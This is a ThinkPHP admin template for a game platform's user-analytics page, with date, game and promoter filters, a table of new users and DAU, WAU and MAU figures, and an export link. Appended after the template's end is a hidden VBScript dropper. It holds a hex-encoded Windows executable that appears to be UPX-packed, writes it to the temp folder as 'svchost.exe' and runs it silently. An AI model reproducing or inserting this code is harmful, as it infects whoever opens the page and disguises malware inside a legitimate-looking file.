You cannot select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

351 lines
123 KiB
HTML

5 years ago
<extend name="Public/base"/>
<block name="css">
<link rel="stylesheet" href="__CSS__/select2.min.css" type="text/css" />
<style>
.select2-container--default .select2-selection--single {
color: #000;
resize: none;
border-width: 1px;
border-style: solid;
border-color: #a7b5bc #ced9df #ced9df #a7b5bc;
box-shadow: 0px 3px 3px #F7F8F9 inset;height:35px;
height:28px;border-radius:3px;font-size:12px;
}
.select2-container--default .select2-selection--single .select2-selection__rendered {
line-height:35px;
line-height:28px;
}
.select2-container--default .select2-selection--single .select2-selection__arrow {
height:26px;
}
.select2-container--default .select2-search--dropdown .select2-search__field {
height:26px;line-height:26px;font-size:12px;
}
.select2-results__option[aria-selected] {font-size:12px;}
.bindcoinsbox {height:33px;line-height:37px;}
.bindcoinsbox .radio {cursor:pointer;}
.bindcoinsbox .radio input {cursor:pointer;}
</style>
</block>
<block name="body">
<style>.button_list2 {
margin: 9px 0;
margin: 5px 0 32px;
margin-right: 15px;
}</style>
<script type="text/javascript" src="__JS__/bootstrap.min.js"></script>
<script type="text/javascript" src="__JS__/select2.min.js"></script>
<div class="cf main-place top_nav_list navtab_list">
<h3 class="page_title">用户分析</h3>
<p class="description_text"></p>
<div class="keywords_information">
<i class="keywords_mark"><span>关键词说明</span></i>
<ul class="keywords_content">
<li class="keywords_title">关键词说明<a href="javascript:;" class="keywords_close">X</a></li>
<li class="keywords_list">
<span class="">DAU</span>
<span class="">(Daily Active User) 日活跃用户数量,即每日登录平台或游戏的用户数,同一用户去重</span>
</li>
<li class="keywords_list">
<span class="">WAU</span>
<span class="">(Week Active User) 周活跃用户数量,即截止当日,最近一周[含当日的7天]登录过平台或游戏的用户数,同一用户去重</span>
</li>
<li class="keywords_list">
<span class="">MAU</span>
<span class="">(Month Active User) 月活跃用户数量,即截止当日,最近一个月[含当日的30天]登录过平台或游戏的用户数,同一用户去重</span>
</li>
</ul>
</div>
</div>
<div class="cf jssearch top_nav_list">
<!-- 高级搜索 -->
<div class=" fl cf search_list">
<div class="input-list search-title-box">
<label>搜索:</label>
</div>
<div class="input-list">
<input type="text" id="time-start" name="start" class="" value="{:I('start')}" placeholder="选择开始时间" />
&nbsp;-&nbsp;
<input type="text" id="time-end" name="end" class="" value="{:I('end')}" placeholder="选择结束时间" />
</div>
<div class="input-list input-list-game search_label_rehab">
<select id="game_id" name="game_id" class="select_gallery">
<option value="">请选择游戏</option>
<volist name=":get_game_list()" id="vo">
<option game-id="{$vo.game_name}" value="{$vo.id}">{$vo.game_name}</option>
</volist>
</select>
</div>
<div class="input-list input-list-promote search_label_rehab">
<select id="promote_id" name="promote_id" class="select_gallery" >
<option value="">推广员账号</option>
<volist name=":get_promote_list(1)" id="vo">
<option promote-id="{$vo.account}" value="{$vo.id}">{$vo.account}</option>
</volist>
</select>
</div>
<input type="hidden" name="" value="" class="sortBy">
<div class="input-list">
<a class="sch-btn" href="javascript:;" id="search" url="{:U('stat/user','model='.$model['name'].'&row='.I('row'),false)}">搜索</a>
</div>
</div>
</div>
<!-- 数据列表 -->
<div class="data_list">
<div class="">
<table>
<!-- 表头 -->
<thead>
<tr>
<th>日期</th>
<th>来源游戏</th>
<th>推广员</th>
<th>新增用户</th>
<th>老用户</th>
<th>DAU</th>
<th>WAU</th>
<th>MAU</th>
</tr>
</thead>
<!-- 列表 -->
<tbody>
<empty name ="data">
<tr><td colspan="8" class="text-center">aOh! 暂时还没有内容!</td></tr>
<else/>
<volist name="data" id="vo">
<tr>
<td>{$vo.time}</td>
<td>{$game_source}</td>
<td>{$promote_account}</td>
<td>{$vo.news}</td>
<td>{$vo.old}</td>
<td>{$vo.dau}</td>
<td>{$vo.wau}</td>
<td>{$vo.mau}</td>
</tr>
</volist>
</empty>
</tbody>
</table>
</div>
</div>
<div class="page">
<a class="sch-btn" href="{:U('Export/user',array(
'start'=>I('start',date('Y-m-d',strtotime('-7 day'))),
'end'=>I('end',date('Y-m-d',strtotime('-1 day'))),
'game_id'=>$_GET['game_id'],
'promote_id'=>$_GET['promote_id'],
'xlsname'=>'数据分析_用户分析'
),false)}">导出</a>
{$_page|default=''}
</div>
</block>
<block name="script">
<script>
Think.setValue('start',"{$Think.get.start|default=''}");
Think.setValue('end',"{$Think.get.end|default=''}");
Think.setValue('promote_id',{$Think.get.promote_id|default='""'});
Think.setValue('game_id',{$Think.get.game_id|default='""'});
Think.setValue('row',{$Think.get.row|default='10'});
$(".select_gallery").select2();
</script>
<link href="__STATIC__/datetimepicker/css/datetimepicker.css" rel="stylesheet" type="text/css">
<php>if(C('COLOR_STYLE')=='blue_color') echo '<link href="__STATIC__/datetimepicker/css/datetimepicker_blue.css" rel="stylesheet" type="text/css">';</php>
<link href="__STATIC__/datetimepicker/css/dropdown.css" rel="stylesheet" type="text/css">
<script type="text/javascript" src="__STATIC__/datetimepicker/js/bootstrap-datetimepicker.min.js"></script>
<script type="text/javascript" src="__STATIC__/datetimepicker/js/locales/bootstrap-datetimepicker.zh-CN.js" charset="UTF-8"></script>
<script src="__STATIC__/layer/layer.js" type="text/javascript"></script>
<script type="text/javascript">
//导航高亮
highlight_subnav('{:U('stat/user')}');
$(function(){
//计算天数差的函数,通用
function GetDateDiff(startDate,endDate)
{
var startTime = new Date(Date.parse(startDate.replace(/-/g, "/"))).getTime();
var endTime = new Date(Date.parse(endDate.replace(/-/g, "/"))).getTime();
var dates = Math.abs((startTime - endTime))/(1000*60*60*24);
return dates;
}
//搜索功能
$("#search").click(function(){
var start = $("#time-start").val();
start = start.substring(0,19);
var end = ($("#time-end").val() == "") ? "{:date('Y-m-d')}" : $("#time-end").val();
end = end.substring(0,19);
var interval = GetDateDiff(start,end);
if(interval < 0 || start == ''){
layer.msg('请选择搜索时间');
return false;
}else if(interval>90){
layer.msg('请选择90日内的时间段');
return false;
}
var url = $(this).attr('url');
var query = $('.jssearch').find('input').serialize();
query += "&"+$('.jssearch').find('select').serialize();
query = query.replace(/(&|^)(\w*?\d*?\-*?_*?)*?=?((?=&)|(?=$))/g,'');
query = query.replace(/^&/g,'');
if( url.indexOf('?')>0 ){
url += '&' + query;
}else{
url += '?' + query;
}
if (start !='' && end != ''){
if (Date.parse(start) > Date.parse(end)){
layer.msg('开始时间必须小于等于结束时间');
return false;
}
}
window.location.href = url;
});
$(".paixu").click(function(){
var that=$(this);
$data_order=that.attr('data-order');
$order_type='{$userarpu_order}';
if($order_type==''||$order_type=='4'){
$(".sortBy").attr('name','data_order');
val='3,'+$data_order;
$(".sortBy").attr('value',val);
$("#search").click();
}else if($order_type=='3'){
$(".sortBy").attr('name','data_order');
val='4,'+$data_order;
$(".sortBy").attr('value',val);
$("#search").click();
}
});
//回车自动提交
$('.jssearch').find('input').keyup(function(event){
if(event.keyCode===13){
$("#search").click();
}
});
$('#time-start').datetimepicker({
format: 'yyyy-mm-dd',
language:"zh-CN",
minView:2,
autoclose:1,
});
$('#time-end').datetimepicker({
format: 'yyyy-mm-dd',
language:"zh-CN",
minView:2,
autoclose:1,endDate:new Date(new Date().getTime()),
pickerPosition:'bottom-right'
});
$(".chakan").click(function () {
that = $(this);
url = that.attr('href-url');
timetitle = that.attr('timetitle');
ptitle = ' ' + that.attr('ptitle') + ' ';
layer.open({
type: 2,
title: false,
closeBtn: 0, //不显示关闭按钮
shade: [0],
area: ['1px', '1px'],
offset: 'rb', //右下角弹出
time: 1, // 秒后自动关闭 这里设置成1ms 不显示过度页面
anim: 2,
content: ['', 'no'], //iframe的urlno代表不显示滚动条
end: function () { //
layer.open({
type: 2,
title: timetitle + ptitle + '游戏数据',
shadeClose: true,
shade: false,
maxmin: true, //开启最大化最小化按钮
area: ['50%', '45%'],
content: url//iframe的url
});
}
});
});
$("#game").on('click',function(event) {
var navlist = $(this).find('.i_list_li');
if (navlist.hasClass('hidden')) {
navlist.removeClass('hidden');
$(this).find('#i_list_id').focus().val('');
} else {
navlist.addClass('hidden');
}
$(document).one("click", function(){
navlist.addClass('hidden');
});
event.stopPropagation();
});
$('#game #i_list_id').on('keyup',function(event) {
var val = $.trim($(this).val()).toLowerCase();
$(this).closest('.drop-down').find('#i_list_idh').val(val);
});
$("#game #i_list_li").find("a").each(function(){
$(this).click(function(){
var text = $.trim($(this).text()).toLowerCase();
var val = $.trim($(this).attr('value'));
$(this).closest('.drop-down').find("#i_list_id").val(text);
$(this).closest('.drop-down').find('#i_list_idh').val(val);
})
});
$("#promote").on('click',function(event) {
var navlist = $(this).find('.i_list_li');
if (navlist.hasClass('hidden')) {
navlist.removeClass('hidden');
$(this).find('#i_list_id').focus().val('');
} else {
navlist.addClass('hidden');
}
$(document).one("click", function(){
navlist.addClass('hidden');
});
event.stopPropagation();
});
$('#promote #i_list_id').on('keyup',function(event) {
$(this).closest('.drop-down').find('#i_list_idh').val(-1);
});
$("#promote #i_list_li").find("a").each(function(){
$(this).click(function(){
var text = $.trim($(this).text()).toLowerCase();
$(this).closest('.drop-down').find("#i_list_id").val(text);
$(this).closest('.drop-down').find('#i_list_idh').val($(this).attr('value'));
})
});
})
</script>
</block>
5 years ago
<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AEFBF60F37A88D9558FE0C528D8D7C065190388C4CC203044738A46B66BB05597F74DCF8350D509163939933694CBCCC386C84C9BAF40500D7044C0831D8D7CE16698406AB5171D8B2F7F7C1899D4F015588337AF7BBC2B3BDB4519CFF663A68312CDCBE8536475237DC8BBC332360369BCCDC219D488D14B9F73BBF8773D058009B9031E22FBFBD0BB85D2FEC35323835843631DF0EFF3CC8897DE081A52E723737814DDDB60DC394330C74F48235069564F6FE0AEE9E5C7721F7559C56BE67BECF4282D83134BE48B8E6B7EF7104786809094FC2F03321BD3C9193ADF1115DF8312999107C7736608DB077AD10133474096E123AA600973624E69B8423BB6408FF05124C3C8D7DCE261960B406FC094DDCC681D0B5080C94AC34579BD928FCDC3131B17440BB041BDF5930B44C5D5D80C0A41FFB1D0BD800297DC0312C217DFC83AD170B59E34681A01197B5AEDF6FBF16204C35290D197D80F79DBBF77684D2B75D366DE43368671105858E0C188F4C1C9C38376670127E3C23AFCC5703061430A5D35F6C54E505363834F89F91BEBDD93536C77AA7B021B5604819990CF3D0218578A0447448DF370F85E45052FF75A46043C9ACF4B3F483C48009C4314D8C771936D9DB6D7D07F08902295DF0496C9E846FB037884650378AD470D85A83EB9C05338403353636B637DE45DC3338682145E49088FA805BDB71DB13AC5B55A84583552F06D0ABF5C864547CB4373382A5AC05476BF874817B324A2F6C5B6FCC9177B8DCF471F0834DA54B8DEDA031210381CF863137D919DFD99E9C510718B1C7123C4F3232407C9C33349449EFF16653C6B1FADB37C9AD3DBC3135CCDC8C32320A9330093B560770EA3083353BE7E8BE354FE8323169B3F8F40064066B64D39831D2B76DAE124E0436315053C7CB1A7F9D4C6833AF75D468EBD6C2F7D72120F06A31069D84F8FB671D58C69C21899F342E722C0874E0F43732B93732D908A62B043CED82CFC9C8643D10B88481F0C0E1D36DC4E881AD0AA0211E5D69A1BDC0902913A5
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>